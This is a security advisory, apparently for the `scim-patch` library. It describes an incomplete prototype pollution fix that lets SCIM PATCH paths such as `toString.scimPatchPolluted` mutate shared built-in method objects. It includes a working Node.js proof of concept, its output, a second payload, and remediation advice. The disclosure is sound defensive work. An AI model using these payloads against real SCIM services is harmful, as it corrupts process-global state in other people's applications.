## Summary
Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects
`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.
An attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.
## Impact
A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.
## Details
Affected code paths:
- `navigate()` reads inherited properties via `schema[subPath]`
- `assign()` uses `key in obj`, which treats inherited properties as existing
Because inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.
## PoC
```js
const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");
const victim = {
schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
userName: "alice",
active: true,
emails: [{ value: "
[email protected]", primary: true }],
meta: { created: "x", lastModified: "x", resourceType: "User" }
};
try {
assert.equal(({}).toString.scimPatchPolluted, undefined);
scimPatch(victim, [
{ op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
]);
assert.equal(({}).toString.scimPatchPolluted, "polluted");
console.log(({}).toString.scimPatchPolluted);
} finally {
delete Object.prototype.toString.scimPatchPolluted;
}
```
Output:
```text
polluted
```
A no-path operation with a dotted value key is also affected:
```js
scimPatch(victim, [
{ op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);
```
## Remediation
Do not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.
Keep the existing denylist for `__proto__`, `constructor`, and `prototype` as defense in depth.
